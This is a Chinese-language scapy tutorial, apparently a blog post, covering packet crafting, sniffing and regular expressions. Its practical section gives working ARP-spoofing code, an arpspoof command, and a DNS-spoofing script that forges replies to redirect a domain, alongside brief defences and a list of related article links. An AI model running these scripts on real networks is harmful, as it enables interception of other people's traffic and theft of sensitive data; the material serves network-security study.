一.scapy基础

1.用法

1.1 导入

from scapy.all import *

1.2 分层

内网:p = Ether()/ARP()
外网:p = IP()/UDP()/DNS()
区别:内网Ether(); 外网IP(); 开头

2.函数

2.1 ls

格式:ls()
解释:查看指定内容发送网络包详细配置信息

  1. 格式:p.summary()
    解释:让用户直观而简单的查看到数据包描述
  2. 格式:p.show()
    解释:让用户直观而丰富的查看到数据包描述

2.2 wrpcap

格式:wrpcap('x.cap',p)
解释:将p变量下的内容写入cap文件

  1. 格式:p=rdpcap('x.cap')
    解释:把cap文件赋值给变量p方便查看

2.3 haslayer

格式:a.haslayer(DNS)
解释:用来判断包里是否包含指定协议

  1. a.getlayer(DNS).qr #获取某协议里面的某数值

2.4 sprintf

格式:b = a.sprintf('%Raw.load%')
解释:用来筛选某一层某一参数取值,示例为可以提取http

3.发送与接受数据包

3.1 send

格式:send(p)
解释:用于发送IP地址为目的的包,只能发送

  1. 格式:sendp(p)
    解释:用于发送mac地址为目的的包,只能发送

3.2 sr

格式:a,b=sr(p)
解释:返回两个列表需要两个变量承接,第一个列表为收到应答的数据包,第二个列表为没有收到应答的数据包,用于发送IP地址为目的的包

  1. 格式:a=srl()
    解释:只返回一个应答数据列表,用于发送IP地址为目的的包
  2. 格式:a=srp()
    解释:用于发送MAC地址为目的的包

4.抓包函数

4.1函数

格式:sniff(filter=‘过滤机制’,iface='网卡名字',prn=来处理的函数,count=n)
解释:抓取经过网卡的数据包

4.2过滤机制(伯克利过滤)

举例:

  1. src host 192.168.0.3
  2. dst net 192.168.0.0/24
  3. dst port 8080
  4. icmp and src port 8080
  5. port 80 #http协议的连接
  6. port 53 #dns协议的连接

解释:多个语句and or not连接,没有指定src或者dst默认有一方即可,参数四,用来限制接受数据包的数量

二.scapy实战

1.ARP欺骗

1.1 ARP包结构

①Ether

dst        : DestMACField                        = 'ff:ff:ff:ff:ff:ff' (None)
src        : SourceMACField                      = '04:33:c2:08:28:70' (None)
type       : XShortEnumField                     = 36864           (36864)

解释:一般只填写dst即可
②ARP

内容 解释
hwtype 硬件类型(Hardware type)
ptype 协议类型(Protocol type)
hwlen 硬件地址长度(Hardware address length)
plen 协议长度(Protocol length)
op 操作类型(Operation type)
hwsrc 硬件mac地址
psrc 协议源ip地址
hwdst 硬件目的mac地址
pdst 协议目的ip地址

解释:前4条默认不用添加,第5条op1为ARP请求;2为ARP响应

1.2 原理

原理:就是利用协议缺陷,若路由器或者交换机方面ip对应mac地址不是固定的就很容易施展ARP欺骗

攻击:正常的ARP包内容如上,只需要把源ip地址(也就是你的网关),对应的真实mac地址改为攻击者的mac地址,被攻击者的所有流量都将经过攻击者,攻击者就能从真窃听,获得敏感信息

1.3 代码

from scapy.all import *
sendp(Ether(dst='58:93:97:**:**:**')/ARP(op=2,hwsrc='1c:55:65:2b:20
x:x6',psrc='192.168.0.1',hwdst='58:93:97:**:**:**',pdst='192.168.0.9'),loop=1)

1.4 实战

arpspoof -i eth0 -t 192.168.0.5 192.168.0.1
解释:-i + 联网源 -t + target 网关

1.5 ARP无法欺骗手机吗?

答案:能欺骗

原因:可能你使用kali linux通过win10连接到路由器,然后你想给手机发送ARP包需要先经过win10但是win10没有开启流量转发功能,导致ARP无法转到手机上,对手机欺骗最好把转发打开,欺骗次数也要降低,否则失败率极高

1.6 ARP欺骗的解决

解释:通过路由器把ip与mac地址绑定,这样网关的ip就不会是动态变化的了

1.7 问题

问题:实测在arp欺骗流量转发的时候存在丢包问题,也就是没有全部抓取到被欺骗者的数据包,比如post包

2.DNS欺骗

2.1 DNS包结构

①IP

version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 0               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '127.0.0.1'     (None)
dst        : DestIPField                         = '127.0.0.1'     (None)
options    : PacketListField                     = []              ([])

解释:一般填写src dst
②UDP

sport      : ShortEnumField                      = 53              (53)
dport      : ShortEnumField                      = 53              (53)
len        : ShortField                          = None            (None)
chksum     : XShortField                         = None            (None)

解释:一般填写sport dport

③DNS

主线 主线
id dns很重要的标识
flag ①qr(0表请求1表回复)②opcode③aa④tc⑤rd⑥ra⑦rcode
qdcount 请求数目(questions)
ancount 回答数目(answer RRs)
nscount 权威名称服务器个数(Authority RRs)[Number of authoritative name servers]
arcount 附加个数(Additional RRs)[Number of additional records]
qd 关键信息(询问-请求包应答包里都有)
an 关键信息(应答-请求包无应答包有)

length     : ShortField (Cond)                   = None            (None)
id         : ShortField                          = 4923            (0)
qr         : BitField  (1 bit)                   = 1               (0)
opcode     : BitEnumField  (4 bits)              = 0               (0)
aa         : BitField  (1 bit)                   = 0               (0)
tc         : BitField  (1 bit)                   = 0               (0)
rd         : BitField  (1 bit)                   = 1               (1)
ra         : BitField  (1 bit)                   = 1               (0)
z          : BitField  (1 bit)                   = 0               (0)
ad         : BitField  (1 bit)                   = 0               (0)
cd         : BitField  (1 bit)                   = 0               (0)
rcode      : BitEnumField  (4 bits)              = 0               (0)
qdcount    : DNSRRCountField                     = 1               (None)
ancount    : DNSRRCountField                     = 2               (None)
nscount    : DNSRRCountField                     = 0               (None)
arcount    : DNSRRCountField                     = 0               (None)
qd         : DNSQRField                          = <DNSQR  qname='www.52pojie.cn.' qtype=A qclass=IN |> (None)
an         : DNSRRField                          = <DNSRR  rrname='www.52pojie.cn.' type=CNAME rclass=IN ttl=1 rdlen=None rdata='db1caad761e1c4e78a0afe7bdbd774bb.qaxcloudwaf.com.' |<DNSRR  rrname='db1caad761e1c4e78a0afe7bdbd774bb.qaxcloudwaf.com.' type=A rclass=IN ttl=1 rdlen=None rdata=123.6.81.72 |>> (None)
ns         : DNSRRField                          = None            (None)
ar         : DNSRRField                          = None            (None)

解释:一般只需要填写id qr qd an

2.2 原理

解释:开启抓包,对目标网络的包不停的筛选其DNS请求包,并对其拦截阻止其发向网关,之后对其篡改发送给目标,完成欺骗

2.3 代码

from scapy.all import *
import re
def dnsgo(s):dns_list = ['jjc.kl.com']if s.haslayer(DNS) and s.getlayer(DNS).qr == 0:ip = s.getlayer(IP)udp = s.getlayer(UDP)dns = s.getlayer(DNS)dns_text=dns.qd.qname.decode()[:-1]if dns_text in dns_list:a = IP(src=ip.dst,dst=ip.src)a/=UDP(sport=udp.dport,dport=udp.sport)a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))send(a)print('ok')sniff(filter='udp dst port 53',prn=dnsgo)

解释:这里的代码就使用了前面函数里面的获取数据包的内容,注意导向的网站最好是非http加密的
注意:本文的dns欺骗失败率很高,因为scapy它不会拦截包,等构造好的包发出去时可能路由告诉用户dns了,升级版查看此

2.4 DNS欺骗的解决

解释:个人访问带https的网站,站长申请上https

3.流量筛选

3.1 正则表达式

符号 作用
* 匹配前面字符0个或者多个
+ 匹配前面字符1个或者多个
匹配前面字符0个或一个
. 匹配除了换行符外的任意一个字符
^ 匹配行首
$ 匹配行尾
[] 只匹配一个字符,如[0-9]匹配一个数字
[^] 表示不匹配什么
{n} 匹配前面字符确定的n次
{n,} 匹配前面字符至少n次
{n,m} 匹配前面字符至少n次最多m次
\ 转义字符
符号     | 作用

-------- | -----
(?:a|b) |重点:匹配组合 举例:nizh(?:a|b) nizha 匹配nizha
(?=a) | 重点:匹配前面的内容 举例:nizh(?=a|b) nizha 匹配nizh
(?!a) | 重点:匹配前面的内容 举例:nizh(?!a|b) nizhc 匹配nizh
(?<=a) | 重点:反向匹配 举例:(?<=a|b)nizh anizh 匹配nizh
(?<!a)| 重点:反向匹配 举例:(?<!a|b)nizh cnizh 匹配nizh

符号 作用
\d 匹配0-9的数字
\w 匹配英文数字下划线的任意组合
\D 不匹配0-9的数字
\W 不匹配英文数字下划线的任意组合

例题:

  1. 匹配只能输入汉字,英文,数字,下划线
    ^[\w\u4e00-\u9fa5]+$
    学习:可以在中括号‘或’条件直接书写
  2. 匹配长度6-12位只能包含英文数字
    ^[a-zA-Z0-9]{6,12}$

3.2 re模块

  1. re.search(正则,内容) 扫描整个字符串并返回第一个成功的匹配
  2. re.findall(正则,内容)在字符串中找到正则表达式所匹配的所有子串
  3. a=re.compile(正则表达式)searchfindall使用,格式a.search(内容)
  4. re.search().group() #提取出来内容

Python-scapy(白帽)[ARP无法欺骗手机吗][DNS欺骗不了https吗]相关推荐

  1. python+scapy实现ARP欺骗

    python+scapy实现ARP欺骗 需要下载的库 ARP欺骗原理 源代码: 运行结果 需要下载的库 可以直接通过pip下载 pip install scapy ARP欺骗原理 设网关的IP为10. ...

  2. python scapy实现ARP欺骗与DNS欺骗

    (仅限python2.7.15) 关于ARP ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息 ...

  3. ARP网络欺骗——手机/平板/电脑欺骗测试

    ARP欺骗 ARP欺骗只适用于内网(局域网) 此处暂时不讲原理,只说使用方法. 环境 kali系统(环境全有了) arpspoof工具 wireshark工具 ubuntu系统 先安装arpspoof ...

  4. Python 实现ARP与DNS欺骗

    利用Scapy进行ARP缓存投毒 from scapy.all import * import os import sys import threading import signaldef rest ...

  5. DNS欺骗原理及工作工程分析

    DNS欺骗 DNS欺骗是这样一种中间人攻击形式,它是攻击者冒充域名服务器的一种欺骗行为,它主要用于向主机提供错误DNS信息,当用户尝试浏览网页,例如IP地址为XXX.XX.XX.XX ,网址为www. ...

  6. Kali Linux渗透测试小实践——DNS欺骗

    目录 一.DNS欺骗 1.介绍 2.原理 二.环境和工具 1.kali Linux和靶机(这里选择windows 7) 2.ettercap 三.攻击过程 1.首先确认一下Kali和靶机的IP地址以及 ...

  7. 从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现

    邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址. 其中邻居子系统相当于地址解析协议(IPv4的ARP协议, ...

  8. arp协议分析python编程实现arp欺骗抓图片

    arp协议分析&python编程实现arp欺骗抓图片 序 学校tcp/ip协议分析课程老师布置的任务,要求分析一种网络协议并且研究安全问题并编程实现,于是我选择了研究arp协议,并且利用pyt ...

  9. 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒

    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第四章 使用SCAPY掌控网络(2)Scapy实现ARP缓存投毒 文章目录 黑帽python第二版(Bl ...

最新文章

  1. 从“小”培养AI安全意识:OpenAI开源具有安全约束的RL训练工具
  2. python机器学习入门(Day11:ANN)
  3. linux 内核调试方法
  4. 32和64位系统各内置类型所占字节大小(int char long double 指针等)
  5. go 数据类型和操作符
  6. li或dd 浮动后增加图片时高度多出3-5px的问题
  7. 0622 - 如何坚守自己的价值观?
  8. java性能最好的mvc框架_详解Spring MVC的异步模式(高性能的关键)
  9. java split 实现_PL/SQL实现JAVA中的split()方法的例子
  10. eclipse安装(中文)语言包插件
  11. 生成树技术(spanning tree)技术
  12. 结构体所占字节数的计算
  13. iOS 判断系统版本
  14. 福昕阅读器自定义快捷键
  15. 进程的概念与基本介绍
  16. 【不想读paper的时候看看】阅读文献?
  17. Android手机修改hosts文件
  18. linux 内核 面试,LINUX内核经典面试题
  19. 【实用技巧】MAC苹果电脑怎么远程?
  20. 因特服务器协议,Internet邮件服务协议

热门文章

  1. request对象的常用方法
  2. Thunderbird设置邮件回复时自动签名和邮件引用的位置
  3. ifftshift和fftshift函数在画图时的作用(matlab)
  4. 标准C库对文件操作的引入 (二)((一)的补充+fput、fget、feof)
  5. 浅谈滚柱导轨的几个特点
  6. 面试难点:深度解析ReentrantLock的实现原理
  7. 如何成为拥有智慧的人?
  8. 多线程一,什么是多线程,创建多线程的几种方式
  9. 笔记本内存2槽开机风扇转一会即关机,已解决
  10. Office 365 - 解决Outlook报错:尝试的操作失败 找不到某个对象